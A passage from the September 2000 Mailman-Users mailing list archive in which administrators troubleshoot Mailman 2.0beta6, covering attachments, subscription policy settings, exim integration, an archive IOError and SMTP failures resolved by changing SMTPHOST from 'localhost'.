chance at bounce processing?  Mailman already adds Errors-To pointing
to the -admin address.

-Barry



From curly at apollo.wuacc.edu  Tue Sep 26 18:23:09 2000
From: curly at apollo.wuacc.edu (Joe)
Date: Tue, 26 Sep 2000 11:23:09 -0500 (CDT)
Subject: [Mailman-Users] using attachments
Message-ID: <Pine.LNX.4.21.0009261120460.956-100000@apollo.wuacc.edu>

Hi,

Is it possible to use attachments with a mailman posting?  If so, what
should the settings be?

We have some special, relatively controlled lists that want to exchange
files.

Thanks for any insight,
Joe




From cjoneslists at gseis.ucla.edu  Tue Sep 26 18:30:00 2000
From: cjoneslists at gseis.ucla.edu (Chad Jones)
Date: Tue, 26 Sep 2000 09:30:00 -0700
Subject: [Mailman-Users] Regenerating "Your new mailing list" messages
Message-ID: <B5F61D17.12935%cjoneslists@gseis.ucla.edu>

Is it possible to regenerate the "Your new mailing list" messages which are
sent to the list owner when the list is created?  We occasionally change
listmoms for individual lists (or the current ones lose their copies) and it
would help to be able to send them a new copy of the list URL and password.

--
Chad Jones * cjones at ucla.edu * Network Manager
UCLA Graduate School of Education & Information Studies

Support me in the 2000 AIDS Marathon to benefit AIDS Project
Los Angeles!  Details at http://www.runchadrun.com  




From hedemark at bops.com  Tue Sep 26 19:09:48 2000
From: hedemark at bops.com (Chris Hedemark)
Date: Tue, 26 Sep 2000 13:09:48 -0400
Subject: [Mailman-Users] /home/mailman/logs/smtp-failures
Message-ID: <3D71CCC526F1D311A72600902773EC21209B8F@CASCABELLA>

OK I did the upgrade to 2.0beta6 and all hell has broken loose.  Followed
INSTALL and UPGRADE but something is still wrong.

My smtp-failures log is full of stuff like this:

Sep 26 13:05:02 2000 (1549) -1 hedemark at bops.com (ignore)

There is one log entry for every mailing list subscriber, and this gets
updated every minute.  Looks like lots of stuff is backed up in the queue
and not going out.  Have tried recompiling Mailman to no avail.  This is on
a Red Hat 6.2 system.

FWIW, it is doing a decent job of archiving my pile of test messages.
Though nobody is actually getting the test messages.

Thanks for being patient with me guys.




From chuqui at plaidworks.com  Tue Sep 26 19:23:59 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 26 Sep 2000 10:23:59 -0700
Subject: [Mailman-Users] Redirecting bounces?
In-Reply-To: <14800.52531.967144.386127@anthem.concentric.net>
References: 
 <Pine.LNX.4.21.0009201909360.14619-100000@fantomas.insite.com.br>
 <MM.969562351.20079.solva@ifi.uio.no>
 <14800.13880.617064.538738@anthem.concentric.net>
 <p04330102b5f5e7e4ef5d@[209.239.169.197]>
 <14800.52531.967144.386127@anthem.concentric.net>
Message-ID: <p04330101b5f68c123ab5@[209.239.169.197]>

At 12:22 PM -0400 9/26/00, Barry A. Warsaw wrote:
>Actually, shouldn't that be listname-admin, so Mailman can have a
>chance at bounce processing?  Mailman already adds Errors-To pointing
>to the -admin address.

Oops. you're right. In fact, I set my owner-listname to listname-admin...

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From chuqui at plaidworks.com  Tue Sep 26 19:29:41 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 26 Sep 2000 10:29:41 -0700
Subject: [Mailman-Users] using attachments
In-Reply-To: <Pine.LNX.4.21.0009261120460.956-100000@apollo.wuacc.edu>
References: <Pine.LNX.4.21.0009261120460.956-100000@apollo.wuacc.edu>
Message-ID: <p04330102b5f68d678b19@[17.216.27.250]>

At 11:23 AM -0500 9/26/00, Joe wrote:

>Is it possible to use attachments with a mailman posting?  If so, what
>should the settings be?

mailman 2.x is MIME aware and benign. You can send pretty much 
whatever you want through it, unless you specifically set things up 
to limit it.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From RYoung at eBuilt.com  Tue Sep 26 20:00:28 2000
From: RYoung at eBuilt.com (Young, Roger)
Date: Tue, 26 Sep 2000 11:00:28 -0700
Subject: [Mailman-Users] using attachments
Message-ID: <AA1E32BC8A58D411A2CB0050DACEDA437508A0@raptor>

I'm new at this, but I believe you can send attachments just fine, however
if you are archiving you should use MHonArc as your archiver as the piper
archiver doesn't handle html, word documents, etc.

Roger Young
Unix Admin
eBuilt Inc.
(949) 609-5409


-----Original Message-----
From: Joe [mailto:curly at apollo.wuacc.edu]
Sent: Tuesday, September 26, 2000 9:23 AM
To: mailman-users at python.org
Subject: [Mailman-Users] using attachments


Hi,

Is it possible to use attachments with a mailman posting?  If so, what
should the settings be?

We have some special, relatively controlled lists that want to exchange
files.

Thanks for any insight,
Joe


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From winter at PHYSnet.uni-hamburg.de  Tue Sep 26 23:36:37 2000
From: winter at PHYSnet.uni-hamburg.de (F. Winter)
Date: Tue, 26 Sep 2000 23:36:37 +0200 (MET DST)
Subject: [Mailman-Users] mailman2.0beta6 and exim
Message-ID: <Pine.OSF.4.05.10009262317260.672-100000@alpha13.PHYSnet.uni-hamburg.de>

Help!

I followed the contens of INSTALL. And I followed the
HOWTO "exim and mailman" from www.exim.org

Everything worked fine until the point:
"Now create your first mailing list test"
The thing that does not work is that the admin notification
never reaches its destination.

I tried it with the entries in /etc/aliases and without them.

No exim logfiles show up an entry. So I suggest the mail
never reached exim at all.

The mailman logs look like:

$prefix/log/post:
Sep 26 23:19:07 2000 (30227) post to test from
mailman-owner at physnet.uni-hamburg.de, size=1342, 1 failures
Sep 26 23:20:11 2000 (30230) post to test from
mailman-owner at physnet.uni-hamburg.de, size=1342, 1 failures
Sep 26 23:21:07 2000 (30250) post to test from
mailman-owner at physnet.uni-hamburg.de, size=1342, 1 failures
(this repeats every minute)


$prefix/log/smtp:
Sep 26 23:22:06 2000 (30258) All recipients refused: host not found
Sep 26 23:22:07 2000 (30258) smtp for 1 recips, completed in 0.056 seconds
Sep 26 23:23:07 2000 (30266) All recipients refused: host not found
Sep 26 23:23:07 2000 (30266) smtp for 1 recips, completed in 0.061 seconds
Sep 26 23:24:06 2000 (30275) All recipients refused: host not found
Sep 26 23:24:06 2000 (30275) smtp for 1 recips, completed in 0.058 seconds
(this repeates every minute too)

$prefix/log/smtp-failure:
Sep 26 23:22:07 2000 (30258) -1 winter at physnet.uni-hamburg.de (ignore)
Sep 26 23:23:07 2000 (30266) -1 winter at physnet.uni-hamburg.de (ignore)
Sep 26 23:24:06 2000 (30275) -1 winter at physnet.uni-hamburg.de (ignore)
(and this repeats although)


My configuration in detail:


exim:
=====

exim runs as user=mail and group=mail
Mail-Relaying from localhost is allowed.

snip of /exim/configure:
------------------------------------------------
MAILMAN_HOME=/PHYSnet/local/mman

# wrapper script for mailman
MAILMAN_WRAP=MAILMAN_HOME/mail/wrapper

# user and group for mailman
MAILMAN_UID=mail
MAILMAN_GID=mail
------------------------------------------------
snap



mailman:
========

I used the following command:
./configure --prefix=my_path --with-mail-gid=mail --with-cgi-gid=nobody



Can someone please help me? I am really out of glue.




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From andre at grueneberg.de  Wed Sep 27 00:20:25 2000
From: andre at grueneberg.de (Andre Grueneberg)
Date: Wed, 27 Sep 2000 00:20:25 +0200 (CEST)
Subject: [Mailman-Users] Re: mailman2.0beta6 and exim
In-Reply-To: <Pine.OSF.4.05.10009262317260.672-100000@alpha13.PHYSnet.uni-hamburg.de>
Message-ID: <2633128138@grueneberg.de>

  Hi F.

F. Winter schrieb:

> exim:
> =====

> exim runs as user=mail and group=mail
> Mail-Relaying from localhost is allowed.

> snip of /exim/configure:
> ------------------------------------------------
> MAILMAN_HOME=/PHYSnet/local/mman

> # wrapper script for mailman
> MAILMAN_WRAP=MAILMAN_HOME/mail/wrapper

> # user and group for mailman
> MAILMAN_UID=mail
> MAILMAN_GID=mail
> ------------------------------------------------
> snap

And what about transports and directors? The correct installation is 
described in the document on www.exim.org.

Did you install the crontab?

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From Dan.Mick at West.Sun.COM  Wed Sep 27 02:12:55 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 26 Sep 2000 17:12:55 -0700 (PDT)
Subject: [Mailman-Users] How to track errors...
Message-ID: <200009270011.RAA17420@utopia.west.sun.com>

> FreeBSD 4.0-RELEASE

> (timeout waiting for input during message collect

So this is almost-certainly the "partial socket write" issue.
Try beta6, which includes a fix to smtplib.py motivated by
FreeBSD.




From Dan.Mick at West.Sun.COM  Wed Sep 27 02:16:39 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 26 Sep 2000 17:16:39 -0700 (PDT)
Subject: [Mailman-Users] /home/mailman/logs/smtp-failures
Message-ID: <200009270015.RAA17559@utopia.west.sun.com>

What is your MTA, and what do its logs say?

> OK I did the upgrade to 2.0beta6 and all hell has broken loose.  Followed
> INSTALL and UPGRADE but something is still wrong.
> 
> My smtp-failures log is full of stuff like this:
> 
> Sep 26 13:05:02 2000 (1549) -1 hedemark at bops.com (ignore)
> 
> There is one log entry for every mailing list subscriber, and this gets
> updated every minute.  Looks like lots of stuff is backed up in the queue
> and not going out.  Have tried recompiling Mailman to no avail.  This is on
> a Red Hat 6.2 system.
> 
> FWIW, it is doing a decent job of archiving my pile of test messages.
> Though nobody is actually getting the test messages.
> 
> Thanks for being patient with me guys.




From siew_chin at yahoo.com  Wed Sep 27 06:33:34 2000
From: siew_chin at yahoo.com (Yee Siew Chin)
Date: Tue, 26 Sep 2000 21:33:34 -0700 (PDT)
Subject: [Mailman-Users] help on subscribing without confirm or approval
Message-ID: <20000927043334.27395.qmail@web2302.mail.yahoo.com>

hi

how can i configure that mailman will works on
subscribing without confirm or approval?

rgds,
Siew Chin

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From claw at kanga.nu  Wed Sep 27 07:38:14 2000
From: claw at kanga.nu (J C Lawrence)
Date: Tue, 26 Sep 2000 22:38:14 -0700
Subject: [Mailman-Users] help on subscribing without confirm or approval 
In-Reply-To: Message from Yee Siew Chin <siew_chin@yahoo.com> 
   of "Tue, 26 Sep 2000 21:33:34 PDT." <20000927043334.27395.qmail@web2302.mail.yahoo.com> 
References: <20000927043334.27395.qmail@web2302.mail.yahoo.com> 
Message-ID: <12382.970033094@kanga.nu>

On Tue, 26 Sep 2000 21:33:34 -0700 (PDT) 
Yee Siew Chin <siew_chin at yahoo.com> wrote:

> how can i configure that mailman will works on subscribing
> without confirm or approval?

This is currently not possible without editing the Mailman source.

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From rogerk at QueerNet.ORG  Wed Sep 27 07:43:03 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Tue, 26 Sep 2000 22:43:03 -0700 (PDT)
Subject: [Mailman-Users] 2.0beta6 archive failure
Message-ID: <Pine.BSI.4.21.0009262240500.29559-100000@castro.queernet.org>

I just did a scratch install and set up my test list.  Permissions claimed
to be OK, but my first attempt to post to a test list yields:

Sep 26 22:38:51 2000 (2659) Archive file access failure:
        /home2/mailman/home/archives/private/demo-list.mbox/demo-list.mbox (0, 'Error')
Sep 26 22:38:51 2000 (2659) Delivery exception: (0, 'Error')
Sep 26 22:38:51 2000 (2659) Traceback (innermost last):
  File "/home2/mailman/home/Mailman/Handlers/HandlerAPI.py", line 82, in
do_pipeline
    func(mlist, msg, msgdata)
  File "/home2/mailman/home/Mailman/Handlers/ToArchive.py", line 47, in process
    mlist.ArchiveMail(msg, msgdata)
  File "/home2/mailman/home/Mailman/Archiver/Archiver.py", line 189, in ArchiveMail
    self.__archive_to_mbox(msg)
  File "/home2/mailman/home/Mailman/Archiver/Archiver.py", line 160, in __archive_to_mbox
    mbox.AppendMessage(post)
  File "/home2/mailman/home/Mailman/Mailbox.py", line 41, in AppendMessage
    self.fp.seek(-1, 2)
IOError: (0, 'Error')


...am I missing anything obvious?  BSD/OS 3.1 (yeah, yeah, I know), python
1.5.2.

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From chuqui at plaidworks.com  Wed Sep 27 07:53:02 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 26 Sep 2000 22:53:02 -0700
Subject: [Mailman-Users] 2.0beta6 archive failure
In-Reply-To: 
 <Pine.BSI.4.21.0009262240500.29559-100000@castro.queernet.org>
References: 
 <Pine.BSI.4.21.0009262240500.29559-100000@castro.queernet.org>
Message-ID: <p04330108b5f73b7a426a@[209.239.169.197]>

At 10:43 PM -0700 9/26/00, Roger B.A. Klorese wrote:
>   File "/home2/mailman/home/Mailman/Mailbox.py", line 41, in AppendMessage
>     self.fp.seek(-1, 2)
>IOError: (0, 'Error')

I ran into (and reported) this bug this morning. There's a patch 
floating in today's archive of mailman-developers. The problem is 
that different platforms return different ERRNO's for this particular 
problem, and the system wasn't handling that quite right.

-- 
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Apple Mail List Gnome (mailto:chuq at apple.com)

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and say 'Man, what are you doing here?'"



From marc_news at valinux.com  Wed Sep 27 08:03:10 2000
From: marc_news at valinux.com (Marc MERLIN)
Date: Tue, 26 Sep 2000 23:03:10 -0700
Subject: [Mailman-Users] help on subscribing without confirm or approval
In-Reply-To: <12382.970033094@kanga.nu>; from claw@kanga.nu on Tue, Sep 26, 2000 at 10:38:14PM -0700
References: <20000927043334.27395.qmail@web2302.mail.yahoo.com> <siew_chin@yahoo.com> <12382.970033094@kanga.nu>
Message-ID: <20000926230310.A13370@marc.merlins.org>

On Tue, Sep 26, 2000 at 10:38:14PM -0700, J C Lawrence wrote:
> On Tue, 26 Sep 2000 21:33:34 -0700 (PDT) 
> Yee Siew Chin <siew_chin at yahoo.com> wrote:
> 
> > how can i configure that mailman will works on subscribing
> > without confirm or approval?
> 
> This is currently not possible without editing the Mailman source.

Not quite...

In ~mailman/Mailman/mm_cfg.py, you can set:
# SUBSCRIBE POLICY
# 0 - open list (only when ALLOW_OPEN_SUBSCRIBE is set to 1) **
# 1 - confirmation required for subscribes
# 2 - admin approval required for subscribes
# 3 - both confirmation and admin approval required
#
# ** please do not choose option 0 if you are not allowing open
# subscribes (next variable)
DEFAULT_SUBSCRIBE_POLICY = 1
# does this site allow completely unchecked subscriptions?
ALLOW_OPEN_SUBSCRIBE = 1

Marc
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From Nigel.Metheringham at VData.co.uk  Wed Sep 27 10:32:31 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Wed, 27 Sep 2000 09:32:31 +0100
Subject: [Mailman-Users] mailman2.0beta6 and exim 
In-Reply-To: Message from "F. Winter" <winter@PHYSnet.uni-hamburg.de> 
   of "Tue, 26 Sep 2000 23:36:37 +0200." <Pine.OSF.4.05.10009262317260.672-100000@alpha13.PHYSnet.uni-hamburg.de> 
Message-ID: <E13eCdj-0002XZ-00@rioja.localnet>

winter at PHYSnet.uni-hamburg.de said:
> The thing that does not work is that the admin notification never
> reaches its destination. 

> Sep 26 23:22:06 2000 (30258) All recipients refused: host not found
> Sep 26 23:22:07 2000 (30258) smtp for 1 recips, completed in 0.056 seconds

Look in your exim log file - for me thats /var/log/exim/main.log but it 
tends to vary between installations.

I would guess that either the sender address - <listname>
-admin at your.domain (and Mailman needs to be have been told the right 
domain for the list), or the administrator recipient address cannot be 
resolved by exim, so it is bouncing the message at smtp time.

Other points... 
  - Make sure your MTA actually delivers mail correctly on your system
    before getting into mailman stuff

  - Make sure the MTA knows about all the list domains

  - Make sure you restarted or sent a kill -HUP to the running
    exim daemon - this will really bite you this way since the daemon
    may be using the old version of the config file with different
    set ups and maybe local domains whilst your exim config looks fine
    and works fine when you start up processes to test it.

	Nigel.
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From pauls at etext.org  Wed Sep 27 15:25:38 2000
From: pauls at etext.org (Paul Southworth)
Date: Wed, 27 Sep 2000 09:25:38 -0400 (EDT)
Subject: [Mailman-Users] migration from ezmlm
Message-ID: <Pine.BSF.4.21.0009270918380.76111-100000@locust.etext.org>

Has anyone taken some notes on converting from qmail/ezmlm to mailman?
If so, I'd like to hear from you.

My biggest concern is handling the listname-subscribe and
listname-unsubscribe addresses so I can avoid having to completely
reeducate a large subscriber base.  With ezmlm, a user can send an empty
message to listname-subscribe to be added to a list, or
listname-unsubscribe to be removed.  From reading the mailman docs, it
seems like this feature is missing.  If I assume incorrectly, or if anyone
has hacked it together, I'd like to hear from you.

--Paul




From winter at PHYSnet.uni-hamburg.de  Wed Sep 27 15:45:43 2000
From: winter at PHYSnet.uni-hamburg.de (F. Winter)
Date: Wed, 27 Sep 2000 15:45:43 +0200 (MET DST)
Subject: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
Message-ID: <Pine.OSF.4.05.10009271537500.24888-100000@alpha30.PHYSnet.uni-hamburg.de>

Hi guys!

The problem Dan has  sounds exactly like my one:

The first "test" mailing list does not send the notification
email either. I have the same logs in smtp, smtp-failure and
post every minute.

I run Tru64 UNIX 4.0f. Python 1.5.2 and Mailman 2.0beta6
and exim 3.16

Yes, I installed the crontab under the user mailman. And I
followed the HOWTO "exim and mailman" found at www.exim.org.

I tried with installing the aliases into system-alias and
without it. Nothing changed. The first notificaten email
does not arrive. There are no entries in exim's log files.

Any suggestions?


--
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 PHYSnet RZ            Email: winter at PHYSnet.uni-hamburg.de
 Uni Hamburg           
 Jungiusstr. 9
 D-20355 Hamburg       


---------- Forwarded message ----------

Date: Tue, 26 Sep 2000 17:16:39 -0700 (PDT)
From: Dan Mick <Dan.Mick at West.Sun.COM>
To: mailman-users at python.org, hedemark at bops.com
Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures

What is your MTA, and what do its logs say?

> OK I did the upgrade to 2.0beta6 and all hell has broken loose.  Followed
> INSTALL and UPGRADE but something is still wrong.
> 
> My smtp-failures log is full of stuff like this:
> 
> Sep 26 13:05:02 2000 (1549) -1 hedemark at bops.com (ignore)
> 
> There is one log entry for every mailing list subscriber, and this gets
> updated every minute.  Looks like lots of stuff is backed up in the queue
> and not going out.  Have tried recompiling Mailman to no avail.  This is on
> a Red Hat 6.2 system.
> 
> FWIW, it is doing a decent job of archiving my pile of test messages.
> Though nobody is actually getting the test messages.
> 
> Thanks for being patient with me guys.


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From hedemark at bops.com  Wed Sep 27 15:49:25 2000
From: hedemark at bops.com (Chris Hedemark)
Date: Wed, 27 Sep 2000 09:49:25 -0400
Subject: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
Message-ID: <3D71CCC526F1D311A72600902773EC21209BB3@cascabella.rtp.bops.com>

The weird thing is, I didn't have this problem with 2.0beta2.  It started
when I got the 2.0beta6 installed.

-----Original Message-----
From: F. Winter [mailto:winter at PHYSnet.uni-hamburg.de]
Sent: Wednesday, September 27, 2000 9:46 AM
To: mailman-users at python.org
Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)


Hi guys!

The problem Dan has  sounds exactly like my one:

The first "test" mailing list does not send the notification
email either. I have the same logs in smtp, smtp-failure and
post every minute.

I run Tru64 UNIX 4.0f. Python 1.5.2 and Mailman 2.0beta6
and exim 3.16

Yes, I installed the crontab under the user mailman. And I
followed the HOWTO "exim and mailman" found at www.exim.org.

I tried with installing the aliases into system-alias and
without it. Nothing changed. The first notificaten email
does not arrive. There are no entries in exim's log files.

Any suggestions?


--
 Frank Winter          Tel.: +(49)-40-42838-2404
 PHYSnet RZ            Email: winter at PHYSnet.uni-hamburg.de
 Uni Hamburg           
 Jungiusstr. 9
 D-20355 Hamburg       


---------- Forwarded message ----------

Date: Tue, 26 Sep 2000 17:16:39 -0700 (PDT)
From: Dan Mick <Dan.Mick at West.Sun.COM>
To: mailman-users at python.org, hedemark at bops.com
Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures

What is your MTA, and what do its logs say?

> OK I did the upgrade to 2.0beta6 and all hell has broken loose.  Followed
> INSTALL and UPGRADE but something is still wrong.
> 
> My smtp-failures log is full of stuff like this:
> 
> Sep 26 13:05:02 2000 (1549) -1 hedemark at bops.com (ignore)
> 
> There is one log entry for every mailing list subscriber, and this gets
> updated every minute.  Looks like lots of stuff is backed up in the queue
> and not going out.  Have tried recompiling Mailman to no avail.  This is
on
> a Red Hat 6.2 system.
> 
> FWIW, it is doing a decent job of archiving my pile of test messages.
> Though nobody is actually getting the test messages.
> 
> Thanks for being patient with me guys.


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From GLeblanc at cu-portland.edu  Wed Sep 27 15:50:46 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Wed, 27 Sep 2000 06:50:46 -0700
Subject: [Mailman-Users] migration from ezmlm
Message-ID: <025836EFF856D411A6660090272811E61D0795@EMAIL>

> -----Original Message-----
> From: Paul Southworth [mailto:pauls at etext.org]
> 
> Has anyone taken some notes on converting from qmail/ezmlm to mailman?
> If so, I'd like to hear from you.
> 
> My biggest concern is handling the listname-subscribe and
> listname-unsubscribe addresses so I can avoid having to completely
> reeducate a large subscriber base.  With ezmlm, a user can 
> send an empty
> message to listname-subscribe to be added to a list, or
> listname-unsubscribe to be removed.  From reading the mailman docs, it
> seems like this feature is missing.  If I assume incorrectly, 
> or if anyone
> has hacked it together, I'd like to hear from you.

Procmail is your friend.  :-)  As of right now Mailman doesn't have that
built in, but it's easy enough to hack something on top.  Just make some
aliases for listname-subscribe/unsubscribe, and have procmail re-write those
messages to send a message to listname-request with subscribe <email> in the
message (I can't remember if it's subject or body, maybe it doesn't matter).
	Greg



From hedemark at bops.com  Wed Sep 27 16:10:50 2000
From: hedemark at bops.com (Chris Hedemark)
Date: Wed, 27 Sep 2000 10:10:50 -0400
Subject: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
Message-ID: <3D71CCC526F1D311A72600902773EC21209BB4@cascabella.rtp.bops.com>

OK I had a nearly fully functioning list server with 2.0beta2.  The upgrade
to 2.0beta6 was prompted by a problem with archiving (it wasn't archiving
messages).  It was actually sending messages just fine.

With 2.0beta6 we have archiving, but messages aren't moving.  I've tried
sending mail from this box using "pine" and "mail" and it works fine.

I'm going to have a bunch of relevant logs posted shortly.

-----Original Message-----
From: F. Winter [mailto:winter at PHYSnet.uni-hamburg.de]
Sent: Wednesday, September 27, 2000 10:09 AM
To: Chris Hedemark
Subject: RE: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)


Hi Chris!

> The weird thing is, I didn't have this problem with 2.0beta2.  It started
> when I got the 2.0beta6 installed.
> 

Do you mean that you have exactly the same problem that no list works
with 2.0beta6 ? I tried 1.1stable although. The same result.


> -----Original Message-----
> From: F. Winter [mailto:winter at PHYSnet.uni-hamburg.de]
> Sent: Wednesday, September 27, 2000 9:46 AM
> To: mailman-users at python.org
> Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
> 
> 
> Hi guys!
> 
> The problem Dan has  sounds exactly like my one:
> 
> The first "test" mailing list does not send the notification
> email either. I have the same logs in smtp, smtp-failure and
> post every minute.
> 
> I run Tru64 UNIX 4.0f. Python 1.5.2 and Mailman 2.0beta6
> and exim 3.16
> 
> Yes, I installed the crontab under the user mailman. And I
> followed the HOWTO "exim and mailman" found at www.exim.org.
> 
> I tried with installing the aliases into system-alias and
> without it. Nothing changed. The first notificaten email
> does not arrive. There are no entries in exim's log files.
> 
> Any suggestions?
> 
> 
> --
>  Frank Winter          Tel.: +(49)-40-42838-2404
>  PHYSnet RZ            Email: winter at PHYSnet.uni-hamburg.de
>  Uni Hamburg           
>  Jungiusstr. 9
>  D-20355 Hamburg       
> 
> 
> ---------- Forwarded message ----------
> 
> Date: Tue, 26 Sep 2000 17:16:39 -0700 (PDT)
> From: Dan Mick <Dan.Mick at West.Sun.COM>
> To: mailman-users at python.org, hedemark at bops.com
> Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures
> 
> What is your MTA, and what do its logs say?
> 
> > OK I did the upgrade to 2.0beta6 and all hell has broken loose.
Followed
> > INSTALL and UPGRADE but something is still wrong.
> > 
> > My smtp-failures log is full of stuff like this:
> > 
> > Sep 26 13:05:02 2000 (1549) -1 hedemark at bops.com (ignore)
> > 
> > There is one log entry for every mailing list subscriber, and this gets
> > updated every minute.  Looks like lots of stuff is backed up in the
queue
> > and not going out.  Have tried recompiling Mailman to no avail.  This is
> on
> > a Red Hat 6.2 system.
> > 
> > FWIW, it is doing a decent job of archiving my pile of test messages.
> > Though nobody is actually getting the test messages.
> > 
> > Thanks for being patient with me guys.
> 
> 
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> http://www.python.org/mailman/listinfo/mailman-users
> 



From hedemark at bops.com  Wed Sep 27 16:38:13 2000
From: hedemark at bops.com (Chris Hedemark)
Date: Wed, 27 Sep 2000 10:38:13 -0400
Subject: *FIXED?* RE: [Mailman-Users] /home/mailman/logs/smtp-failures (fw
	d)
Message-ID: <3D71CCC526F1D311A72600902773EC21209BB8@cascabella.rtp.bops.com>

Oh boy do I feel dumb.  In my defense, my IQ is being sapped by cold
medicine.

The new Defaults.py hadn't been changed.  I didn't think it would be
overwritten in an upgrade.  But it was.  It was trying to send mail to
'localhost' which for some reason wasn't defined.  Well I fixed that in
'/etc/hosts', and a little at a time mail is starting to trickle in that had
been queued up.

There are some other nagging problems but sending mail has been fixed.

Thanks guys.

-----Original Message-----
From: Chris Hedemark [mailto:hedemark at bops.com]
Sent: Wednesday, September 27, 2000 10:11 AM
To: 'mailman-users at python.org'
Subject: RE: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)


OK I had a nearly fully functioning list server with 2.0beta2.  The upgrade
to 2.0beta6 was prompted by a problem with archiving (it wasn't archiving
messages).  It was actually sending messages just fine.

With 2.0beta6 we have archiving, but messages aren't moving.  I've tried
sending mail from this box using "pine" and "mail" and it works fine.

I'm going to have a bunch of relevant logs posted shortly.

-----Original Message-----
From: F. Winter [mailto:winter at PHYSnet.uni-hamburg.de]
Sent: Wednesday, September 27, 2000 10:09 AM
To: Chris Hedemark
Subject: RE: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)


Hi Chris!

> The weird thing is, I didn't have this problem with 2.0beta2.  It started
> when I got the 2.0beta6 installed.
> 

Do you mean that you have exactly the same problem that no list works
with 2.0beta6 ? I tried 1.1stable although. The same result.


> -----Original Message-----
> From: F. Winter [mailto:winter at PHYSnet.uni-hamburg.de]
> Sent: Wednesday, September 27, 2000 9:46 AM
> To: mailman-users at python.org
> Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures (fwd)
> 
> 
> Hi guys!
> 
> The problem Dan has  sounds exactly like my one:
> 
> The first "test" mailing list does not send the notification
> email either. I have the same logs in smtp, smtp-failure and
> post every minute.
> 
> I run Tru64 UNIX 4.0f. Python 1.5.2 and Mailman 2.0beta6
> and exim 3.16
> 
> Yes, I installed the crontab under the user mailman. And I
> followed the HOWTO "exim and mailman" found at www.exim.org.
> 
> I tried with installing the aliases into system-alias and
> without it. Nothing changed. The first notificaten email
> does not arrive. There are no entries in exim's log files.
> 
> Any suggestions?
> 
> 
> --
>  Frank Winter          Tel.: +(49)-40-42838-2404
>  PHYSnet RZ            Email: winter at PHYSnet.uni-hamburg.de
>  Uni Hamburg           
>  Jungiusstr. 9
>  D-20355 Hamburg       
> 
> 
> ---------- Forwarded message ----------
> 
> Date: Tue, 26 Sep 2000 17:16:39 -0700 (PDT)
> From: Dan Mick <Dan.Mick at West.Sun.COM>
> To: mailman-users at python.org, hedemark at bops.com
> Subject: Re: [Mailman-Users] /home/mailman/logs/smtp-failures
> 
> What is your MTA, and what do its logs say?
> 
> > OK I did the upgrade to 2.0beta6 and all hell has broken loose.
Followed
> > INSTALL and UPGRADE but something is still wrong.
> > 
> > My smtp-failures log is full of stuff like this:
> > 
> > Sep 26 13:05:02 2000 (1549) -1 hedemark at bops.com (ignore)
> > 
> > There is one log entry for every mailing list subscriber, and this gets
> > updated every minute.  Looks like lots of stuff is backed up in the
queue
> > and not going out.  Have tried recompiling Mailman to no avail.  This is
> on
> > a Red Hat 6.2 system.
> > 
> > FWIW, it is doing a decent job of archiving my pile of test messages.
> > Though nobody is actually getting the test messages.
> > 
> > Thanks for being patient with me guys.
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 

------------------------------------------------------
Mailman-Users maillist  -  Mailman-Users at python.org
http://www.python.org/mailman/listinfo/mailman-users



From pfaff at edge.cis.mcmaster.ca  Wed Sep 27 16:37:57 2000
From: pfaff at edge.cis.mcmaster.ca (Todd Pfaff)
Date: Wed, 27 Sep 2000 10:37:57 -0400 (EDT)
Subject: [Mailman-Users] config.db.tmp files
In-Reply-To: <3D71CCC526F1D311A72600902773EC21209BB4@cascabella.rtp.bops.com>
Message-ID: <Pine.SOL.4.21.0009271033400.3822-100000@edge.cis.mcmaster.ca>

is it safe to remove old config.db.tmp.* files from a
~mailman/lists/listname/ directory?

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From winter at PHYSnet.uni-hamburg.de  Wed Sep 27 17:29:03 2000
From: winter at PHYSnet.uni-hamburg.de (F. Winter)
Date: Wed, 27 Sep 2000 17:29:03 +0200 (MET DST)
Subject: [Mailman-Users] SUMMARY: 2.0beta6 smtp-failure: host not found: ignored: every minute
In-Reply-To: <3D71CCC526F1D311A72600902773EC21209BB8@cascabella.rtp.bops.com>
Message-ID: <Pine.OSF.4.05.10009271718320.22333-100000@alpha30.PHYSnet.uni-hamburg.de>

That was the solution!

In $prefix/Mailman/Defaults.py is a line
SMTPHOST = 'localhost'

This caused in my configuration an "host not found" error.
Changing this value to my real DNS hostname, (pasted into 
mm_cfg.py) solved the Problem.

Thanks to Andre, Dan, Nigel and Chris Hedemark who gave the
right spot.

Hope this will help someone searching the archives!

Bye.


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 PHYSnet RZ            Email: winter at PHYSnet.uni-hamburg.de
 Uni Hamburg           
 Jungiusstr. 9
 D-20355 Hamburg       


On Wed, 27 Sep 2000, Chris Hedemark wrote:

